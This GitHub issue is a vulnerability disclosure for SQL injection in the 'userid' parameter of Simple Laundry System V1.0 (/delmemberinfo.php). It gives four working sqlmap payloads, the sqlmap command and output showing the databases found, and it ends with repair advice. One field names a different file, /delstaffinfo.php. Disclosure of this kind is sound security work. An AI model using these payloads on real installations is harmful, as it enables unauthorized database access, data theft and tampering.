

mzhnqwqz / cve Public

<> Code Issues 1 Pull requests Actions Projects Security and quality

New issue



code-projects Simple Laundry System Project V1.0 /delmemberinfo.php SQL injection #1

Open

zzb1388 opened 2 weeks ago



code-projects Simple Laundry System Project V1.0 /delmemberinfo.php SQL injection

NAME OF AFFECTED PRODUCT(S)

- Simple Laundry System

Vendor Homepage

- <https://code-projects.org/simple-laundry-system-in-php-with-source-code/>

AFFECTED AND/OR FIXED VERSION(S)

submitter

- mzhnqwqz

Vulnerable File

- /delstaffinfo.php

VERSION(S)

- V1.0

Software Link

- <https://code-projects.org/simple-laundry-system-in-php-with-source-code/>

PROBLEM TYPE

Vulnerability Type

- SQL injection

Root Cause

- A SQL injection vulnerability was found in the '/delmemberinfo.php' file of the 'Simple Laundry System' project. The reason for this issue is that attackers inject malicious code from the parameter 'userid' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

- Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

- During the security review of "Simple Laundry System", I discovered a critical SQL injection vulnerability in the "/delmemberinfo.php" file. This vulnerability stems from insufficient user input validation of the 'userid' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity.

No login or authorization is required to exploit this vulnerability

Vulnerability details and POC

Vulnerability Ionameion:

- 'userid' parameter

Payload:

```
---
Parameter: userid (GET)
  Type: boolean-based blind
  Title: Boolean-based blind - Parameter replace (original value)
  Payload: userid=(SELECT (CASE WHEN (7027=7027) THEN 15 ELSE (SELECT 4369 UNION SELECT
2605) END))

  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
(GTID_SUBSET)
  Payload: userid=15 AND GTID_SUBSET(CONCAT(0x717a717871,(SELECT
(ELT(7593=7593,1))),0x71626a6a71),7593)

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: userid=15 AND (SELECT 1400 FROM (SELECT(SLEEP(5)))cvFV)

  Type: UNION query
  Title: Generic UNION query (NULL) - 12 columns
  Payload: userid=-5273 UNION ALL SELECT
CONCAT(0x717a717871,0x4a4a456c54615450685654467966506555586e56444a777a5a4e6b73616274465661754
- -
---
```

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

```
python sqlmap.py -r 1.txt --batch --dbs
```

```
C:\Windows\System32\cmd.exe X + v
[22:43:56] [INFO] target URL appears to have 12 columns in query
[22:44:07] [INFO] GET parameter 'userid' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'userid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 69 HTTP(s) requests:
-----
Parameter: userid (GET)
  Type: boolean-based blind
  Title: Boolean-based blind - Parameter replace (original value)
  Payload: userid=(SELECT (CASE WHEN (7027=7027) THEN 15 ELSE (SELECT 4369 UNION SELECT 2605) END))

  Type: error-based
  Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  Payload: userid=15 AND GTID_SUBSET(CONCAT(0x717a717871,(SELECT (ELT(7593=7593,1))),0x71626a6a71),7593)

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: userid=15 AND (SELECT 1400 FROM (SELECT(SLEEP(5)))cvFV)

  Type: UNION query
  Title: Generic UNION query (NULL) - 12 columns
  Payload: userid=-5273 UNION ALL SELECT CONCAT(0x717a717871,0x4a4a456c5461545068565446796650655586e56444a777a5a4e6b7
3616274465661754575694f5a,0x71626a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,-- --
-----
[22:44:07] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 7.3.4
back-end DBMS: MySQL >= 5.6
[22:44:11] [INFO] fetching database names
available databases [2]:
[*] bbn
[*] information_schema
```

Suggested repair

- 1. Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
- 2. Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format.
- 3. Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as 'root' or 'admin ') for daily operations.
- 4. Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

[Sign up for free](#) to join this conversation on [GitHub](#). Already have an account? [Sign in to comment](#)

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects



Milestone

No milestone

Relationships

None yet

Development

 Code with agent mode 

No branches or pull requests

Participants

